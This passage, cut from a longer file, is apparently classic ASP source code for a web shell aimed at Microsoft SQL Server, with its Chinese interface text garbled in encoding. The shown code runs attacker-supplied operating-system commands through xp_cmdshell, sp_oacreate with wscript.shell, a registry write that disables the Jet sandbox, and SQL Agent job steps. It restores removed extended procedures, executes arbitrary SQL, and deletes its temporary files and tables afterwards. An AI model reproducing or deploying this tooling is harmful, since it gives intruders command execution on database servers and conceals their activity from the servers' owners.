recresult(0) then response.write "
    sp_oacreate............. ´æÔÚ!" session("sp_oacreate")=1 else response.write "
    sp_oacreate............. ²»´æÔÚ!" session("sp_oacreate")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_regwrite............. ´æÔÚ!" session("xp_regwrite")=1 else response.write "
    xp_regwrite............. ²»´æÔÚ!" session("xp_regwrite")=0 end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_servicecontrol'" set recresult = adoconn.execute(strquery) if recresult(0) then response.write "
    xp_servicecontrol....... ´æÔÚ!
    " session("xp_servicecontrol")=1 else response.write "
    xp_servicecontrol....... ²»´æÔÚ!
    " session("xp_servicecontrol")=0 end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="cmd" then if session("login")<>"" then if session("pri")=1 then if request("tool")="xp_cmdshell" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "exec master.dbo.xp_cmdshell '" & request.form("cmd") & "'" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " end if elseif request("tool")="sp_oacreate" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then strquery = "create table [jnc](resulttxt nvarchar(1024) null);use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "&request("cmd")&" > 8617.tmp',0,true;bulk insert [jnc] from '8617.tmp' with (keepnulls);" adoconn.execute(strquery) strquery = "select * from jnc" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c del 8617.tmp'" adoconn.execute(strquery) end if elseif request("tool")="xp_regwrite" then if session("system")="2000" then path="c:\winnt\system32\ias\ias.mdb" else path="c:\windows\system32\ias\ias.mdb" end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then cmd=chr(34)&"cmd.exe /c "&request.form("cmd")&" > 8617.tmp"&chr(34) strquery = "create table [jnc](resulttxt nvarchar(1024) null);exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',0;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&cmd&")');" adoconn.execute(strquery) strquery = "select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c copy 8617.tmp jnc.tmp"&chr(34)&")');bulk insert [jnc] from 'jnc.tmp' with (keepnulls);" set recresult = adoconn.execute(strquery) strquery="select * from [jnc];" set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "drop table [jnc];exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=" & path &"','select shell("&chr(34)&"cmd.exe /c del 8617.tmp&&del jnc.tmp"&chr(34)&")');" adoconn.execute(strquery) end if elseif request("tool")="sqlserveragent" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if request.form("cmd")<>"" then if session("sqlserveragent")=0 then strquery = "exec master.dbo.xp_servicecontrol 'start','sqlserveragent';" adoconn.execute(strquery) session("sqlserveragent")=1 end if strquery = "use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "&request.form("cmd")&"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';" adoconn.execute(strquery) adoconn.execute(strquery) adoconn.execute(strquery) response.write "
    ÀûÓÃ"&request("tool")&"À©Õ¹Ö´ÐР C:\windows\system32>"&request.form("cmd")&"
    " response.write "
    " strquery = "use msdb drop table [jncsql];" adoconn.execute(strquery) end if elseif request("tool")="" then response.write "" end if else response.write "" end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="resume" then if session("login")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") if session("xp_cmdshell")=0 then strquery="dbcc addextendedproc ('xp_cmdshell','xplog70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_cmdshell
    " elseif session("sp_oacreate")=0 then strquery="dbcc addextendedproc ('sp_oacreate','odsole70.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´sp_oacreate
    " elseif session("xp_regwrite")=0 then strquery="dbcc addextendedproc ('xp_regwrite','xpstar.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_regwrite
    " elseif session("xp_servicecontrol")=0 then strquery="dbcc addextendedproc ('xp_servicecontrol','xprepl.dll')" adoconn.execute(strquery) response.write "
    ÒѾ­³¢ÊÔ»Ö¸´xp_servicecontrol
    " else response.write "
    ¹§Ï²£¡×é¼þÆëÈ«
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if elseif request("sqlaaa")="sql" then if session("login")<>"" then if request.form("sql")<>"" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery=request.form("sql") set recresult = adoconn.execute(strquery) if not recresult.eof then do while not recresult.eof strresult = strresult & chr(13) & recresult(0) recresult.movenext loop end if set recresult = nothing response.write "
    " end if else response.write "" response.write "
    µÇ½³¬Ê±" response.end end if end if if request("sqlaaa")="logout" then set adoconn=nothing session("login")="" session("name")="" session("pass")="" session("server")="" session("port")="" session("system")="" session("pri")="" response.write "" end if end function RRS""%>